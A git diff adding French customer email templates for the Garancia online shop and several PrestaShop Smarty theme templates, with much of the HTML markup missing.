            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_changed.txt b/themes/default/mails/fr/order_changed.txt new file mode 100755 index 0000000..d70c74a --- /dev/null +++ b/themes/default/mails/fr/order_changed.txt @@ -0,0 +1,11 @@ +Bonjour {firstname} {lastname}, + +Votre commande ayant pour référence {order_name} a été modifiée par le marchand. + +Vous pouvez à tout moment consulter votre commande dans "Historique des commandes" de la rubrique "Mon compte" sur notre site {shop_name}. + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/order_conf.html b/themes/default/mails/fr/order_conf.html new file mode 100755 index 0000000..904648e --- /dev/null +++ b/themes/default/mails/fr/order_conf.html @@ -0,0 +1,114 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname}, merci d'avoir passé commande chez {shop_name} !
             
            Détails de la commande
             
            Commande : {order_name} passée le {date}
            Mode de paiement : {payment}
             
            + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            RéférenceProduitPrix unitaireQuantitéPrix total
            {products}
            {discounts}
             Total produits{total_products}
             Bons d'achat et réductions{total_discounts}
             Emballage Cadeau{total_wrapping}
             Frais d'expédition{total_shipping}
             Total payé{total_paid}
            +
             
            Livraison
             
            Transporteur : {carrier}
             
            + + + + + + + + +
            Adresse de livraisonAdresse de facturation
            {delivery_block_html}{invoice_block_html}
            +
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site. En application de la loi Hamon, vous disposez d'un délai de rétractation de 14 Jours. Pour en savoir plus, veuillez consulter nos Conditions Générales de Vente.
             
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_conf.txt b/themes/default/mails/fr/order_conf.txt new file mode 100755 index 0000000..c87592a --- /dev/null +++ b/themes/default/mails/fr/order_conf.txt @@ -0,0 +1,28 @@ +Bonjour {firstname} {lastname}, merci d'avoir passé commande chez {shop_name} ! + +Détails de la commande + + Commande : {order_name} passée le {date} + Mode de paiement : {payment} + + Produits : {total_products} + Bons d'achat et réductions : {total_discounts} + Emballage Cadeau : {total_wrapping} + Frais d'expédition : {total_shipping} + Total payé : {total_paid} + + +Livraison + + Transporteur : {carrier} + + Adresse de livraison : + {delivery_block_txt} + + Adresse de facturation : + {invoice_block_txt} + +Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site. + +{shop_url} +En application de la loi Hamon, vous disposez d'un délai de rétractation de 14 Jours. Pour en savoir plus, veuillez consulter nos Conditions Générales de Vente. diff --git a/themes/default/mails/fr/order_customer_comment.html b/themes/default/mails/fr/order_customer_comment.html new file mode 100755 index 0000000..e9b07f9 --- /dev/null +++ b/themes/default/mails/fr/order_customer_comment.html @@ -0,0 +1,17 @@ + + + + + Message d'un client de {shop_name} + + +

            center">{shop_name}

            + + + + + + +
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_customer_comment.txt b/themes/default/mails/fr/order_customer_comment.txt new file mode 100755 index 0000000..c8227f9 --- /dev/null +++ b/themes/default/mails/fr/order_customer_comment.txt @@ -0,0 +1,8 @@ +Bonjour, + +Vous avez reçu un nouveau message concernant la commande ayant pour référence {order_name} : +{message} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/order_merchant_comment.html b/themes/default/mails/fr/order_merchant_comment.html new file mode 100755 index 0000000..7b8442c --- /dev/null +++ b/themes/default/mails/fr/order_merchant_comment.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Message de {shop_name}
             
            Vous avez reçu un nouveau message concernant la commande ayant pour référence {order_name} :

            {message}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_merchant_comment.txt b/themes/default/mails/fr/order_merchant_comment.txt new file mode 100755 index 0000000..7dab790 --- /dev/null +++ b/themes/default/mails/fr/order_merchant_comment.txt @@ -0,0 +1,10 @@ +Bonjour {firstname} {lastname}, + +Vous avez reçu un nouveau message concernant la commande ayant pour référence {order_name} : +{message} + +Vous pouvez à tout moment consulter vos anciens messages dans votre suivi de commande. + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/order_return_state.html b/themes/default/mails/fr/order_return_state.html new file mode 100755 index 0000000..bb70ea8 --- /dev/null +++ b/themes/default/mails/fr/order_return_state.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre bon de retour n°{id_order_return}
             
            Votre bon de retour est passé à l'état "{state_order_return}".
             
            Vous pouvez accéder au suivi de votre bon de retour et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_return_state.txt b/themes/default/mails/fr/order_return_state.txt new file mode 100755 index 0000000..463ffc7 --- /dev/null +++ b/themes/default/mails/fr/order_return_state.txt @@ -0,0 +1,7 @@ +Bonjour {firstname} {lastname}, + +Votre bon de retour {id_order_return} est passé à l'état "{state_order_return}". + +Vous pouvez accéder à tout moment au suivi de votre bon de retour dans "Historique de mes commandes" de la rubrique "Mon compte" sur notre site. + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/outofstock.html b/themes/default/mails/fr/outofstock.html new file mode 100755 index 0000000..7c53a78 --- /dev/null +++ b/themes/default/mails/fr/outofstock.html @@ -0,0 +1,49 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Votre commande est bien enregistrée mais nécessite un réapprovisionnement.
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
            Si vous avez un compte invité, vous pouvez suivre votre commande dans la section "Suivi invité" de notre site.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/outofstock.txt b/themes/default/mails/fr/outofstock.txt new file mode 100755 index 0000000..a8aa17f --- /dev/null +++ b/themes/default/mails/fr/outofstock.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Votre commande ayant pour référence {order_name} est bien enregistrée mais nécessite un réapprovisionnement. + +Vous pouvez accéder à tout moment au suivi de votre commande dans la rubrique "Mon compte". +Si vous avez un compte invité, vous pouvez suivre votre commande à cette adresse : {guest_tracking_url} + +{shop_name} - {shop_url} + + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/mails/fr/password.html b/themes/default/mails/fr/password.html new file mode 100755 index 0000000..50b9150 --- /dev/null +++ b/themes/default/mails/fr/password.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Voici vos codes d'accès
             
            Adresse e-mail : {email}
            Mot de passe : {passwd}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/password.txt b/themes/default/mails/fr/password.txt new file mode 100755 index 0000000..10dd9d5 --- /dev/null +++ b/themes/default/mails/fr/password.txt @@ -0,0 +1,11 @@ +Comme demandé, nous avons modifié votre mot de passe, voici un rappel de vos codes d'accès. + +Adresse électronique : {email} +Mot de passe : {passwd} + +Vous pouvez dès à présent passer commande sur notre site Internet : +{shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/password_query.html b/themes/default/mails/fr/password_query.html new file mode 100755 index 0000000..2de9f0a --- /dev/null +++ b/themes/default/mails/fr/password_query.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Vous avez demandé à récupérer vos codes d'accès.
            Cette opération vous attribuera un nouveau mot de passe.
             
            Si vous souhaitez confirmer cette demande, cliquez sur le lien suivant :
            {url}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/password_query.txt b/themes/default/mails/fr/password_query.txt new file mode 100755 index 0000000..985f8e1 --- /dev/null +++ b/themes/default/mails/fr/password_query.txt @@ -0,0 +1,9 @@ +Bonjour {firstname} {lastname} + +Vous avez demandé à récupérer vos codes d'accès. +Cette opération vous attribuera un nouveau mot de passe. + +Si vous souhaitez confirmer cette demande, cliquez sur le lien suivant : +{url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/payment.html b/themes/default/mails/fr/payment.html new file mode 100755 index 0000000..7655316 --- /dev/null +++ b/themes/default/mails/fr/payment.html @@ -0,0 +1,49 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Le paiement pour votre commande a été accepté.
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/payment.txt b/themes/default/mails/fr/payment.txt new file mode 100755 index 0000000..85d8179 --- /dev/null +++ b/themes/default/mails/fr/payment.txt @@ -0,0 +1,11 @@ +Bonjour {firstname} {lastname}, + +Le paiement pour votre commande ayant pour référence {order_name} a été accepté. + +Vous pouvez accéder à tout moment au suivi de votre commande dans "Historique des commandes" de la rubrique "Mon compte" sur notre site. + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/payment_error.html b/themes/default/mails/fr/payment_error.html new file mode 100755 index 0000000..f11bcf3 --- /dev/null +++ b/themes/default/mails/fr/payment_error.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Un problème a été constaté pour le paiement de votre commande.
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/payment_error.txt b/themes/default/mails/fr/payment_error.txt new file mode 100755 index 0000000..f916dd1 --- /dev/null +++ b/themes/default/mails/fr/payment_error.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Un problème a été constaté pour le paiement de votre commande ayant pour référence {order_name}. + +Vous pouvez à tout moment accéder au suivi de votre commande dans la rubrique "Mon compte" du site. + + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/preparation.html b/themes/default/mails/fr/preparation.html new file mode 100755 index 0000000..9c6e20c --- /dev/null +++ b/themes/default/mails/fr/preparation.html @@ -0,0 +1,49 @@ + + + + + Votre commande Garancia est en préparation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia est en préparation.
             
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
            Nous espérons que votre colis illuminera votre journée,
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/preparation.txt b/themes/default/mails/fr/preparation.txt new file mode 100755 index 0000000..80aad40 --- /dev/null +++ b/themes/default/mails/fr/preparation.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Votre commande ayant pour référence {order_name} est en cours de préparation. + +Vous pouvez accéder à tout moment au suivi de votre commande dans "Historique de mes commandes" de la rubrique "Mon compte" sur notre site. +Si vous avez un compte invité, vous pouvez suivre votre commande à cette adresse : {guest_tracking_url} + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/refund.html b/themes/default/mails/fr/refund.html new file mode 100755 index 0000000..b3bca41 --- /dev/null +++ b/themes/default/mails/fr/refund.html @@ -0,0 +1,49 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Votre commande vous a bien été remboursée.
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/refund.txt b/themes/default/mails/fr/refund.txt new file mode 100755 index 0000000..817f0e5 --- /dev/null +++ b/themes/default/mails/fr/refund.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Votre commande ayant pour référence {order_name} vous a bien été remboursée. + +Vous pouvez accéder à tout moment au suivi de votre commande dans la rubrique "Mon compte" du site. +Si vous avez un compte invité, vous pouvez suivre votre commande à cette adresse : {guest_tracking_url} + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/relais.html b/themes/default/mails/fr/relais.html new file mode 100755 index 0000000..919ac63 --- /dev/null +++ b/themes/default/mails/fr/relais.html @@ -0,0 +1,57 @@ + + + + + Votre commande Garancia est disponible en Point Relais. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia est disponible dans votre Point Relais : +
            {adresse_relais}
            Vous disposez de 14 jours pour retirer votre colis, passé ce délai il sera retourné à l'expéditeur.
            +Votre colis vous sera remis sur présentation d'une pièce d'identité. Une personne de votre choix peut également le retirer. Cette personne devra impérativement se présenter avec votre pièce d'identité et la sienne.
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
            Nous espérons que votre colis illuminera votre journée,
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/relais.txt b/themes/default/mails/fr/relais.txt new file mode 100755 index 0000000..fb665bc --- /dev/null +++ b/themes/default/mails/fr/relais.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que votre colis Garancia a été expédié. + +Vous allez le recevoir très prochainement. +Vous pouvez suivre l’état de votre commande en vous connectant à votre espace personnel + +Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l’adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement vôtre, +L’équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/fr/reply_msg.html b/themes/default/mails/fr/reply_msg.html new file mode 100755 index 0000000..464339d --- /dev/null +++ b/themes/default/mails/fr/reply_msg.html @@ -0,0 +1,16 @@ + + + + + Message de {shop_name} + + + + + + + + +
            {reply}

            Attention, vous ne devez pas répondre à ce message en utilisant votre logiciel de messagerie, nous ne recevrons pas votre message. Pour répondre, merci d'utiliser exclusivement le lien suivant : {link}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/reply_msg.txt b/themes/default/mails/fr/reply_msg.txt new file mode 100755 index 0000000..ca174c3 --- /dev/null +++ b/themes/default/mails/fr/reply_msg.txt @@ -0,0 +1,4 @@ +{reply} + +Attention, vous ne devez pas répondre à ce message en utilisant votre logiciel de messagerie, nous ne recevrons pas votre message. +Pour répondre, merci d'utiliser exclusivement le lien suivant : {link} diff --git a/themes/default/mails/fr/shipped.html b/themes/default/mails/fr/shipped.html new file mode 100755 index 0000000..4a761ef --- /dev/null +++ b/themes/default/mails/fr/shipped.html @@ -0,0 +1,64 @@ + + + + + Votre commande Garancia a été expédiée + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia a été expédié.
            Vous allez le recevoir très prochainement.
             
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Votre numéro de suivi avec {carrier} est le : {shipping_number} . N'hésitez pas à vous connecter sur leur site pour obtenir les détails de votre livraison ou cliquez ici.
             
            Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
             
            Nous espérons que votre colis illuminera votre journée,
            Magiquement vôtre,
            +

            L'équipe Garancia

            +

            NB : pour les livraisons avec IMX, choisissez "recherche par numéro de suivi client", entrez le code client LGAR, et saisissez votre numéro de colis ci-dessus. 

            +
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/shipped.txt b/themes/default/mails/fr/shipped.txt new file mode 100755 index 0000000..194abb4 --- /dev/null +++ b/themes/default/mails/fr/shipped.txt @@ -0,0 +1,17 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que votre colis Garancia a été expédié. + +Vous recevrez prochainement un lien vous permettant le suivi de votre colis. + +Vous pouvez accéder à tout moment au suivi de votre commande dans "Historique de mes commandes" de la rubrique "Mon compte" sur notre site. + +Votre numéro de suivi avec {carrier} est le : {shipping_number} . N'hésitez pas à vous connecter sur leur site pour obtenir les détails de votre livraison. + +Pour toute question concernant votre commande, n'hésitez pas à nous contacter directement à l'adresse mail suivante: suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement votre +Equipe Garancia + +NB : pour les livraisons avec IMX, choisissez "recherche par numéro de suivi client", entrez le code client LGAR, et saisissez votre numéro de colis ci-dessus. \ No newline at end of file diff --git a/themes/default/mails/fr/test.html b/themes/default/mails/fr/test.html new file mode 100755 index 0000000..2bf5df6 --- /dev/null +++ b/themes/default/mails/fr/test.html @@ -0,0 +1,22 @@ + + + + + Mail de test + + + + + + + + + + + + + + +
            Bonjour,

            Voici un mail de test de votre boutique.
             
            Généré par
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/test.txt b/themes/default/mails/fr/test.txt new file mode 100755 index 0000000..24d4d7b --- /dev/null +++ b/themes/default/mails/fr/test.txt @@ -0,0 +1,3 @@ + Bonjour, + + Voici un mail de test de votre boutique PrestaShopâ„¢. \ No newline at end of file diff --git a/themes/default/mails/fr/voucher.html b/themes/default/mails/fr/voucher.html new file mode 100755 index 0000000..90aebf0 --- /dev/null +++ b/themes/default/mails/fr/voucher.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Nous vous informons de la génération d'un bon de réduction à votre nom relatif à votre commande ayant pour référence {order_name}.
             
            Voici le numéro de votre bon de réduction : {voucher_num}, d'un montant total de {voucher_amount}.
            Copiez-collez ce numéro dans le panier de votre prochain achat avant de régler la commande.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/voucher.txt b/themes/default/mails/fr/voucher.txt new file mode 100755 index 0000000..d8724b1 --- /dev/null +++ b/themes/default/mails/fr/voucher.txt @@ -0,0 +1,13 @@ +Bonjour {firstname} {lastname}, + +Nous vous informons de la génération d'un bon de réduction à votre nom relatif à votre commande ayant pour référence {order_name}. + +Voici le numéro de votre bon de réduction : {voucher_num}, d'un montant total de {voucher_amount}. +Copiez-collez ce numéro dans le panier de votre prochain achat avant de régler la commande. + +Merci et à bientôt sur {shop_name}. + +{shop_name} - {shop_url} + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/mails/fr/voucher_new.html b/themes/default/mails/fr/voucher_new.html new file mode 100755 index 0000000..7e6a77b --- /dev/null +++ b/themes/default/mails/fr/voucher_new.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous vous informons de la génération d'un bon de réduction.
             
            Voici le numéro de votre bon de réduction : {voucher_num}.
            Copiez-collez ce numéro dans le panier de votre prochain achat avant de régler la commande.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/voucher_new.txt b/themes/default/mails/fr/voucher_new.txt new file mode 100755 index 0000000..e1e3acc --- /dev/null +++ b/themes/default/mails/fr/voucher_new.txt @@ -0,0 +1,13 @@ +Bonjour {firstname} {lastname}, + +Nous vous informons de la génération d'un bon de réduction. + +Voici le numéro de votre bon de réduction : {voucher_num}. +Copiez-collez ce numéro dans le panier de votre prochain achat avant de régler la commande. + +Merci et à bientôt sur {shop_name}. + +{shop_name} - {shop_url} + + +{shop_url} \ No newline at end of file diff --git a/themes/default/maintenance.tpl b/themes/default/maintenance.tpl new file mode 100755 index 0000000..72cc8ae --- /dev/null +++ b/themes/default/maintenance.tpl @@ -0,0 +1,51 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + {$meta_title|escape:'htmlall':'UTF-8'} + +{if isset($meta_description)} + +{/if} +{if isset($meta_keywords)} + +{/if} + + + + + +
            +

            logo

            +

            + {l s='In order to perform website maintenance, our online store will be temporarily offline.'}

            + {l s='We apologize for the inconvenience and ask that you please try again later.'} +

            +   +
            + + diff --git a/themes/default/manufacturer-list.tpl b/themes/default/manufacturer-list.tpl new file mode 100755 index 0000000..e3a00c5 --- /dev/null +++ b/themes/default/manufacturer-list.tpl @@ -0,0 +1,85 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Manufacturers:'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

            {l s='Manufacturers:'}

            + +{if isset($errors) AND $errors} + {include file="$tpl_dir./errors.tpl"} +{else} +

            {strip} + + {if $nbManufacturers == 0}{l s='There are no manufacturers.'} + {else} + {if $nbManufacturers == 1} + {l s='There is %d manufacturer.' sprintf=$nbManufacturers} + {else} + {l s='There are %d manufacturers.' sprintf=$nbManufacturers} + {/if} + {/if} + {/strip} +

            + + {if $nbManufacturers > 0} + + {include file="$tpl_dir./pagination.tpl"} + {/if} +{/if} diff --git a/themes/default/manufacturer.tpl b/themes/default/manufacturer.tpl new file mode 100755 index 0000000..62a19cb --- /dev/null +++ b/themes/default/manufacturer.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$tpl_dir./breadcrumb.tpl"} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} +

            {l s='List of products by manufacturer'} {$manufacturer->name|escape:'htmlall':'UTF-8'}

            + {if !empty($manufacturer->description) || !empty($manufacturer->short_description)} +
            + {if !empty($manufacturer->short_description)} +

            {$manufacturer->short_description}

            +

            {$manufacturer->description}

            + {l s='More'} + {else} +

            {$manufacturer->description}

            + {/if} +
            + {/if} + + {if $products} +
            + {include file="$tpl_dir./pagination.tpl"} + +
            + {include file="./product-sort.tpl"} + {include file="./product-compare.tpl"} + {include file="./nbr-product-page.tpl"} +
            +
            + + {include file="./product-list.tpl" products=$products} + +
            +
            + {include file="./product-sort.tpl"} {include file="./product-compare.tpl"} {include file="./nbr-product-page.tpl"} + +
            + {include file="./pagination.tpl"} +
            + {else} +

            {l s='No products for this manufacturer.'}

            + {/if} +{/if} diff --git a/themes/default/mobile/404.tpl b/themes/default/mobile/404.tpl new file mode 100755 index 0000000..fb5a10b --- /dev/null +++ b/themes/default/mobile/404.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='This page is not available'}{/capture} +{include file='./page-title.tpl'} + + {* Submit à tester sur téléphone *} + {* ===================================== *} +
            +
            +

            {l s='We\'re sorry, but the Web address you\'ve entered is no longer available.'}

            +

            {l s='To find a product, please type its name in the field below.'}

            +
            +
            + +
            +
            +

            + +

            +
            + {* ===================================== *} +
            diff --git a/themes/default/mobile/address.tpl b/themes/default/mobile/address.tpl new file mode 100755 index 0000000..6b92506 --- /dev/null +++ b/themes/default/mobile/address.tpl @@ -0,0 +1,240 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
            + + +{capture name=path}{l s='Mon compte'}{$navigationPipe}{l s='Mes adresses'}{$navigationPipe}{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
            +

            [{if isset($id_address) && (isset($smarty.post.alias) || isset($address->alias))}{l s='Modifier adresse'}{else}{l s='Ajouter une adresse'}{/if}]

            + + +{include file="$tpl_dir./errors.tpl"} + +

            {if isset($id_address)}{l s='Votre adresse'}{else}{l s='Nouvelle adresse'}{/if}

            +
            +
            + {* +
            + + + {l s='DNI / NIF / NIE'} +
            + *} + {assign var="stateExist" value="false"} + +
            + + +
            + +
            + + + +
            + {foreach from=$ordered_adr_fields item=field_name} + {if $field_name eq 'company'} + {/if} + {if $field_name eq 'vat_number'} +
            +
            +
            + + +
            +
            +
            + {/if} + {if $field_name eq 'firstname'} +
            + + +
            + {/if} + {if $field_name eq 'lastname'} +
            + + +
            + {/if} + {if $field_name eq 'address1'} +
            + + +
            + {/if} + {if $field_name eq 'address2'} +
            + + +
            + {/if} + {if $field_name eq 'postcode'} +
            + + +
            + {/if} + {if $field_name eq 'city'} +
            + + +
            + {* + if customer hasn't update his layout address, country has to be verified + but it's deprecated + *} + {/if} + {if $field_name eq 'Country:name' || $field_name eq 'country'} +
            + + +
